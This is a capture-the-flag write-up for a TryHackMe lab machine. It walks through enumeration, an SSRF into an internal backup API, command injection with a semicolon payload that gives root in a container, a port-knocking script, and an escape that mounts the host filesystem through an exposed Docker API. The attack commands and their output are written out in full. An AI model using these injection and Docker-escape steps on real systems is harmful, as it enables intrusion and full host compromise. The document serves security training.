Initial Information

Name, link, creator: The Great Escape (tryhackme.com/room/thegreatescape) by hydragyrum

Our devs have created an awesome new site. Can you break out of the sandbox?

Enumeration

As always, we can start with an nmap scan to discover open ports and services running on these ports.

http - 80/tcp

We have a webpage where the Sign up function is turned off because they don't want any rogue accounts.

But /login is allowed. It makes a POST request to /api/login with the data I gave it (asd:bnm) in JSON {username: "asd", password: "bnm"}.

File / Directory brute forcing

We can try to do some directory {and, or} file brute forcing with ffuf (you can also use gobuster, wfuzz or anything that fits your needs) but the page gives a 200 response code to anything try to get.

$ ffuf -u http://10.10.230.170/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt
---[SNIP]---
.ssh                    [Status: 200, Size: 3834, Words: 141, Lines: 10]
.listings               [Status: 200, Size: 3834, Words: 141, Lines: 10]
api                     [Status: 301, Size: 169, Words: 5, Lines: 8]

We can also provide the -mc all flag for ffuf to show response codes for every request being made. And we can see there are a huge amount of 503's which means Service Temporarily Unavailable.

http.cat/503:
http.cat/503

$ ffuf -u http://10.10.230.170/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc all
V                       [Status: 503, Size: 197, Words: 7, Lines: 8]
W3SVC3                  [Status: 503, Size: 197, Words: 7, Lines: 8]
XXX                     [Status: 503, Size: 197, Words: 7, Lines: 8]

This means the server has some kind of rate limiting that blocks our fuzzing requests. We have two options.

  1. We can try to delay our requests
  2. Try the most basic files manually with curl

Let's try getting the most basic files

As the hint suggests: A well known file may offer some help we can try /robots.txt, and files inside /.well-known/ directory.

$ curl http://10.10.230.170/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

The most common file which can be found in the /.well-known/ folder is usually security.txt so we must try this one too on every target!

$ curl http://10.10.230.170/.well-known/security.txt
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.
$ curl -I http://10.10.230.170/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Feb 2021 11:26:34 GMT
Connection: keep-alive
flag: THM{bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX4}

As the manual (man curl) said -I is used to fetch the HEADers only.

Takeaways:

Taking a closer look at robots.txt and its contents

We have already found out that /robots.txt contains some new paths we haven't tried to access yet. So let's take a closer look at these ones.

/api/
/exif-util
/*.bak.txt$

/exif-util

On this endpoint we can upload a file or we can provide and URL for the file and the application will show it's metadata.

My friends and I initially thought we must exploit this converter / SSRF to get foothold so we tried a bunch of things and we got some weird errors and stuff like that which I will show you now.

Since the From URL option makes a GET request to the URL we provide we initially thought it was an SSRF so we tried some basic command injection, requesting local resources and differen URI schemes like file://.

With file:///etc/passwd we got an interesting error saying:

An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection

This error was verbose enough so we knew it was running java in the background.

And if we used nc -lvp 8000 on our local box and we requested http://<ATTACKER>:8000 we got a request like the following:

$ nc -lvp 8000
listening on [any] 8000 ...
10.10.230.170: inverse host lookup failed: Unknown host
connect to [10.8.2.82] from (UNKNOWN) [10.10.230.170] 36010
GET / HTTP/1.1
TE: gzip, deflate; q=0.5
User-Agent: Java/11.0.8
Host: 10.8.2.82:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

The user agent (User-Agent: Java/11.0.8) confirmed it was java!

We tried to search for possible entry points and we found a hackerone report about an image processor app that used java and it was vulnerable to XXE. The reporter inserted the payload into the JPEG's XMP header and when the app processed XMP info it triggered the XXE. The reporter was able to make a request to an dtd he controlled so he was able to get the contents of files on the target system.

We tried to reproduce it but the tool mentioned in the report was some kind of ruby script which didn't work well so we started to do it the manual way. My friend tried GIMP and I started with exiftool.

Fact: GIMP can view the XMP data of a picture but can NOT write it.

On the other hand, exiftool could write XMP data into the file but it got encoded when I checked it with strings. I tried it anyways but it wasn't working. After that I decided to edit the image file by hand with vim and I was able to change these URL-encoded characters but after uploading the image it still wasn't working.

I tried doing some changes but when I changed too much stuff I broke the format of the image so the webapp and my image viewer sxiv couldn't open the file.

But this was the point where we got stuck really hard.

The guessy part :/

Okay, so the next part was a bit guessy in my opinion.

So we have the *.bak.txt$ robots entry and we have an open webapp at /exif-util.

We must combine these two and we should take a look at /exif-util.bak.txt. This was a backup of the current /exif-util endpoint which made use of a developer backup api. Old or developer stuff left on the webserver are usually interesting and might contain bugs.

why

$ curl http://10.10.230.170/exif-util.bak.txt
<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          {{ response }}
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

There is a line leaking the URL of a developer backup api!

const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {

Making use of the backup api

Initially, I added this backup api to my /etc/hosts file (10.10.230.170 api-dev-backup) but when I tried to access it it just didn't work. So we must find an other way to access this internal backup api!

We know when we use the From URL option the webapp makes a GET request to /api/exif?url=<URL_WE_PROVIDE>. I always prefer using curl or an other cli application over a bloat gui webbrowser so I will use curl to make request to the api.

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080'
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Nothing to see here</title>
</head>
<body>

<p>Nothing to see here, move along...</p>

</body>
</html>

Exploitation

Command Injection

We can try to use /exif?url on the backup api and try testing for SSRF {and, or} command injection!

I initially tried getting a command injection because it was a developer backup api and development or old backup stuff is always interesting!

We can start with the most basic command injection which is inserting an arbitrary command after a ;.

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;id'
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
uid=0(root) gid=0(root) groups=0(root)

And the user is root which could mean that we compromised the whole machine by one command injection but this isn't the situation here. Looking at the picture of the box we can see it's related to docker So we should be in a docker container!

Enumeration

But heads up! We still got a working command injection and we are root in a docker container. This means we should enumerate whats available for us!

After some manual exploration we can find a note in /root/dev-note.txt. And a git repo /root/ with some interesting commits storing critical information. And also a /.dockerenv file which confirms that we are in a docker container.

Basic directory enumeration:

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;ls+-la+/'
---[SNIP]---
-rwxr-xr-x  1 root root    0 Jan  7 22:14 .dockerenv
---[SNIP]---

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;ls+-la+/root'
---[SNIP]---
total 28
drwx------ 1 root root 4096 Jan  7 16:48 .
drwxr-xr-x 1 root root 4096 Jan  7 22:14 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

Git enumeration

For first I used git log to print out every change and its comments.

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+log'
---[SNIP]---
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

We got 3 commits so we should take a look at them.

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+show+a3d30a7d0510dc6565ff9316e3fb84434916dee8'
---[SNIP]---
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX6}

$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+show+5242825dfd6b96819f65d17a1c31a99fea4ffb6a'
---[SNIP]---
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
+
+Anyways, the password is fluffybunnies123
+
+Cheers,
+
+Hydra

Note that I used + instead of spaces in my request to avoid breaking the request.

But when we try to use ssh it just hangs forever. We can try to debug the issue by turning on verbose mode with -v.

$ ssh hydra@10.10.230.170 -v
OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1i  8 Dec 2020
---[SNIP]---
debug1: Connecting to 10.10.230.170 [10.10.230.170] port 22.
debug1: Connection established.
---[SNIP]---
debug1: Local version string SSH-2.0-OpenSSH_8.4p1 Debian-3
debug1: kex_exchange_identification: banner line 0: Ub%Vl}>z@<t*wgEToP(dPdR(},
debug1: kex_exchange_identification: banner line 1: :z;\\=|]#^U\\ N!(PkTS?6y\\Cqe
debug1: kex_exchange_identification: banner line 2: X,JZU$Dl&FTmbsrZ~Ki&W.p

This should be endlessh! Which means we have to find an other way to get into the box.

Trying to get a reverse shell

I initially tried getting a reverse shell but it didn't work because of some filtering.

I always prefer opening a reverse shell for ease of access. We can try to use some of the payloads from PayloadsAllTheThings Revshell Cheatsheet!

But in this situation when we try to get a reverse shell we will face some issues.

  1. There are some filtering on the request body (nc command is blacklisted)
  2. There is no wget on the target and curl just hangs so we couldn't download a .sh file which ccontains our reverse shell.

A quick recap on what we have achieved so far

Going through the things we have so far: We have only 2 ports open on the box. 22 being endlessh and 80 being the vulnerable webserver. There is also a backup api which can't be accessible from outside the box. And we also have a possible username and a password from the webserver's docker container. The deleted note from the webserver mentioned port knocking!

Port Knocking

Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.

I wrote a little posix compliant sh script for manual port knocking with curl. Since POSIX SH does not support arrays I used a string of ports separated by spaces then I used tr to separate them and read them into the i variable.

#!/bin/sh

TARGET="10.10.230.170"
PORTS="42 1337 10420 6969 63000"

echo "$PORTS" | tr ' ' '\n' | while read -r i
do
    echo "knocking $i"
    /usr/bin/curl "$TARGET:$i"
    sleep 1
done

We can run the script and after that we can start a new nmap scan to detect newly opened ports on the target system.

$ sh knocker.sh

$ nmap -sC -sV -p- -oN scans/tcpfull_afterknock 10.10.230.170 -vvv
---[SNIP]---
Discovered open port 22/tcp on 10.10.230.170
Discovered open port 80/tcp on 10.10.230.170
Discovered open port 2375/tcp on 10.10.230.170
---[SNIP]---

We got a new port 2375!

2375/tcp open  docker  syn-ack ttl 63 Docker 20.10.2 (API 1.41)
| docker-version:
|   GoVersion: go1.13.15
|   ApiVersion: 1.41
|   Version: 20.10.2
|   BuildTime: 2020-12-28T16:15:09.000000000+00:00
|   Platform:
|     Name: Docker Engine - Community
|   Arch: amd64
|   Os: linux
|   KernelVersion: 4.15.0-130-generic
|   MinAPIVersion: 1.12
|   GitCommit: 8891c58
|   Components:
|
|       Details:
|         KernelVersion: 4.15.0-130-generic
|         Experimental: false
|         ApiVersion: 1.41
|         BuildTime: 2020-12-28T16:15:09.000000000+00:00
|         Arch: amd64
|         Os: linux
|         GoVersion: go1.13.15
|         GitCommit: 8891c58
|         MinAPIVersion: 1.12
|       Name: Engine
|       Version: 20.10.2
|
|       Details:
|         GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b
|       Name: containerd
|       Version: 1.4.3
|
|       Details:
|         GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
|       Name: runc
|       Version: 1.0.0-rc92
|
|       Details:
|         GitCommit: de40ad0
|       Name: docker-init
|_      Version: 0.19.0

Attacking docker

Searching for docker vulnerabilities I found an interesting post: Hundreds of Vulnerable Docker Hosts Exploited by Cryptocurrency Miners

There is an option in docker to connect to a remote system and run docker commands on it by specifying a -H <TARGET:PORT> flag!

$ docker -H 10.10.230.170:2375 image ls
REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE
exif-api-dev                                  latest    4084cb55e1c7   6 weeks ago     214MB
exif-api                                      latest    923c5821b907   6 weeks ago     163MB
frontend                                      latest    577f9da1362e   6 weeks ago     138MB
endlessh                                      latest    7bde5182dc5e   6 weeks ago     5.67MB
nginx                                         latest    ae2feff98a0c   2 months ago    133MB
debian                                        10-slim   4a9cd57610d6   2 months ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   2 months ago    103MB
alpine                                        3.9       78a2ce922f86   10 months ago   5.55MB

The article also talks about executing commands inside a container on a remote server!

Since there are already some images downloaded I skip the download image step. But I have to start a container and run some commands inside them!

I made use of GTFOBins docker page.

$ docker -H 10.10.230.170:2375 run -v /:/mnt --rm -it -d alpine:3.9

We can list the containers to check if our alpine is running.

$ docker -H 10.10.230.170:2375 container ls
CONTAINER ID   IMAGE          COMMAND                  CREATED          STATUS          PORTS                  NAMES
1c04b4ad5e08   alpine:3.9     "/bin/sh"                47 seconds ago   Up 31 seconds                          elegant_galileo
49fe455a9681   frontend       "/docker-entrypoint.…"   6 weeks ago      Up 3 hours      0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   6 weeks ago      Up 3 hours                             dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   6 weeks ago      Up 3 hours      8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           6 weeks ago      Up 3 hours      0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1

Now, we can try to execute commands in the docker container which is on the target system.

$ docker -H 10.10.230.170:2375 exec elegant_galileo ls
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Now, we can search for the last flag under /mnt in the container.

$ docker -H 10.10.230.170:2375 exec elegant_galileo ls /mnt/root
flag.txt

$ docker -H 10.10.230.170:2375 exec elegant_galileo cat /mnt/root/flag.txt
Congrats, you found the real flag!

THM{cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX4}

We successfully got the root flag by using port knocking, and an open docker port which allowed us to run docker commands on the target system!


The box was a little unstable (the ssrf didn't work) for some days but after it got a patch everything went fine!

The initial part was a basic SSRF and command injeciton after we found that backup file. --> Takeaway: always try to find backups for the known endpoints!

BUT this docker technique was new for me! And I loved it! This -H flag is a great one! Thank you hydragyrum!